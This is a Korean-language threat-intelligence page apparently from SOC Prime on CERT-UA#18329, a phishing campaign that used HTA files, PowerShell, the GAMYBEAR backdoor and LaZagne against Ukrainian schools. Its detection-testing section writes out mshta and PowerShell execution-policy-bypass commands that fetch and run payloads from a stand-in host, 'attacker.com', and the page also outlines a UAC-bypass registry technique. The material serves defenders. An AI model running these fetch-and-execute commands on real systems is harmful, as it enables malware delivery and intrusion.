SOC Prime Bias: 심각

20 11월 2025 16:35

동부 우크라이나 학교에 대한 GAMYBEAR 도구를 이용한 표적 사이버 공격 (CERT-UA#18329)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
동부 우크라이나 학교에 대한 GAMYBEAR 도구를 이용한 표적 사이버 공격 (CERT-UA#18329)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

자격 증명 수집 캠페인이 Sumy 지역의 학교와 공공 기관을 피싱 이메일을 통해 공격했습니다. 이 이메일에는 ZIP 첨부 파일이 포함되어 있었고, 아카이브를 열면 HTA 파일이 실행되었습니다. mshta 유틸리티를 통해 PowerShell 스크립트를 다운로드하여 GAMYBEAR 백도어와 LaZagne 자격 증명 덤퍼를 배포하고, HTTP 기반의 C2를 설정하고, 타겟 디렉터리에서 파일을 탈취합니다.

공격 분석

CERT-UA는 2025년 5월 26일에 하이재킹된 Gmail 계정에서 보낸 피싱 메시지를 초기 침해로 연결하여, CERT-UA#18329 경고에서 캠페인 세부 사항을 제공했습니다. 포렌식 분석을 통해 ZIP → HTA → update.js → PowerShell → GAMYBEAR 와 LaZagne 멀웨어가 함께 동반된 다단계 감염 체인이 드러났으며, 지속성은 Run-레지스트리 항목과 악성 URL로부터 반복적인 다운로드를 통해 유지되었습니다.

완화

모든 이메일 계정에 대해 다중 요소 인증을 적용하고, HTA 및 신뢰할 수 없는 PowerShell 스크립트의 실행을 차단하며, 레지스트리 Run 키를 잠그고, 애플리케이션 화이트리스트를 구현하십시오. 참조된 파일 이름, 해시 및 네트워크 지표를 인식하도록 엔드포인트 탐지 규칙을 지속적으로 업데이트하십시오.

대응

영향을 받은 엔드포인트를 신속하게 격리하고, 손상된 Gmail 자격 증명을 재설정하며, 식별된 모든 IOC를 수집하고 GAMYBEAR, LaZagne 및 관련 아티팩트에 대한 종합적인 스캔을 실행하십시오. CERT-UA에 사고를 알리고 관련 위협 인텔리전스 공유 채널을 통해 IOC를 배포하십시오.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% 노드 action_phishing[“<b>Action</b> – <b>T1566.001 피싱: 표적 피싱 첨부파일</b><br/>대학교 Gmail 계정을 탈취하여 \”Накaз № 332\”라는 이름의 ZIP 첨부파일이 포함된 표적 피싱 이메일을 발송”] class action_phishing action tool_mshta[“<b>Tool</b> – <b>Name</b>: mshta.exe<br/><b>Technique</b>: T1218.005 시스템 바이너리 프록시 실행”] class tool_mshta tool malware_hta[“<b>Malware</b> – <b>Name</b>: zvit.hta (HTML 애플리케이션)<br/>ZIP에 포함된 바로가기를 통해 실행됨”] class malware_hta malware action_powershell[“<b>Action</b> – <b>T1059.001 명령 및 스크립팅 인터프리터: PowerShell</b><br/>HTA가 update.js를 실행하여 updater.ps1을 시작함. PowerShell은 원격 HTTP 서버로부터 추가 바이너리(be53ff4f4b5daa.exe, svshosts.exe)를 다운로드함”] class action_powershell action tool_ps2exe[“<b>Tool</b> – <b>Name</b>: PS2EXE<br/><b>Technique</b>: T1027.004 전달 후 컴파일(난독화)”] class tool_ps2exe tool action_uac_bypass[“<b>Action</b> – <b>T1548.002 권한 상승 제어 메커니즘 악용: UAC 우회</b><br/>User Account Control을 우회하기 위해 DelegateExecute 값을 포함한 HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command 레지스트리 키를 생성”] class action_uac_bypass action action_persistence[“<b>Action</b> – <b>T1547.014 부팅 또는 로그온 자동 실행: Active Setup</b><br/>로그온 시 바이너리를 실행하기 위해 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 항목(IEUpdater, ServiceUpdateService)을 추가”] class action_persistence action tool_registry[“<b>Tool</b> – <b>Name</b>: 레지스트리 수정<br/><b>Technique</b>: Run 키를 통한 지속성 확보”] class tool_registry tool action_credential_dump[“<b>Action</b> – <b>T1003 OS 자격 증명 덤핑</b><br/>LaZagne(be53ff4f4b5daa.exe)를 실행하여 저장된 비밀번호 및 기타 자격 증명을 추출”] class action_credential_dump action tool_lazagne[“<b>Tool</b> – <b>Name</b>: LaZagne<br/><b>Purpose</b>: 브라우저, 메일 클라이언트 및 기타 애플리케이션에 저장된 자격 증명 수집”] class tool_lazagne tool action_data_encoding[“<b>Action</b> – <b>T1132 데이터 인코딩</b><br/>GAMYBEAR 백도어 구성요소(svshosts.exe, ieupdater.exe)와 C2 간의 통신은 Base64로 인코딩된 페이로드를 사용하여 HTTP를 통해 전송됨”] class action_data_encoding action malware_gamybear[“<b>Malware</b> – <b>Name</b>: GAMYBEAR 백도어<br/>구성요소에는 svshosts.exe 및 ieupdater.exe가 포함됨”] class malware_gamybear malware %% 연결 action_phishing u002du002du003e|전달| tool_mshta tool_mshta u002du002du003e|실행| malware_hta malware_hta u002du002du003e|실행| action_powershell action_powershell u002du002du003e|사용| tool_ps2exe action_powershell u002du002du003e|다운로드| malware_gamybear action_powershell u002du002du003e|생성| action_uac_bypass action_uac_bypass u002du002du003e|수정| tool_registry action_persistence u002du002du003e|의존| tool_registry action_persistence u002du002du003e|실행| malware_gamybear action_credential_dump u002du002du003e|사용| tool_lazagne tool_lazagne u002du002du003e|수집| action_data_encoding malware_gamybear u002du002du003e|통신 방식| action_data_encoding %% 다이어그램 끝

공격 흐름

시뮬레이션

시뮬레이션 실행

선행조건: 텔레메트리 및 기준 비행전 점검이 통과해야 합니다.

타당성: 이 섹션은 탐지 규칙을 트리거하도록 설계된 상대방 기술(공격 기법)을 정확히 실행하는 방법을 설명합니다. 명령어와 서사는 반드시 식별된 공격 기법을 직접 반영하고 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성해야 합니다.

  • 공격 서사 및 명령어:

    1. 단계 1 – 악성 HTA 배포:공격자는 손상된 웹 서버에evil.hta을 호스팅합니다.

    2. 단계 2 –mshta.exe:을 통해 실행: 공격자는 Windows 명령 프롬프트를 사용하여mshta.exe http://attacker.com/evil.hta를 실행합니다. 이는 명령줄에mshta.exe이 포함된 프로세스-생성 이벤트를 생성하며 규칙의 첫 번째 절을 만족합니다.

    3. 단계 3 – PowerShell 바이패스:시스템의 실행 정책을 우회하는 페이로드를 실행하기 위해 공격자는-ep bypass 플래그로 PowerShell을 실행합니다:

      PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"

      이는 정확히PowerShell -ep bypass문자열을 포함하는 두 번째 프로세스-생성 이벤트를 생성하며 두 번째 절을 만족합니다.

  • 회귀 테스트 스크립트:다음 PowerShell 스크립트는 위의 단계를 자동 반복 가능한 방식으로 재현합니다.

    # -------------------------------------------------
    # 회귀 테스트 – mshta 및 PowerShell -ep 바이패스에 대한 Sigma 규칙 트리거
    # -------------------------------------------------
    
    # 변수 – 실험실 환경에 맞게 조정
    $htaUrl   = "http://127.0.0.1/evil.hta"   # 접속 가능한 HTA 파일로 지정
    $psUrl    = "http://127.0.0.1/payload.ps1" # 간단한 PS 페이로드 (예: `Write-Host "pwned"`)
    
    # 1. mshta.exe 실행
    Write-Host "[*] $htaUrl에 대해 mshta.exe를 시작합니다."
    Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow
    
    # 프로세스 로그 보장을 위한 짧은 일시정지
    Start-Sleep -Seconds 2
    
    # 2. 실행 정책 우회하여 PowerShell 실행
    $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"
    Write-Host "[*] PowerShell -ep 바이패스 시작"
    Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow
    
    # 로깅을 위한 일시정지
    Start-Sleep -Seconds 5
    
    Write-Host "[+] 테스트 완료. SIEM에서 알림을 확인하십시오."
  • 정리 명령어:임시 파일을 제거하고 남아 있는 테스트 프로세스를 종료합니다.

    # 임시 페이로드 정리
    Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue
    
    # 테스트로 생성된 남아 있는 mshta 또는 PowerShell 인스턴스를 선택적으로 종료
    Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force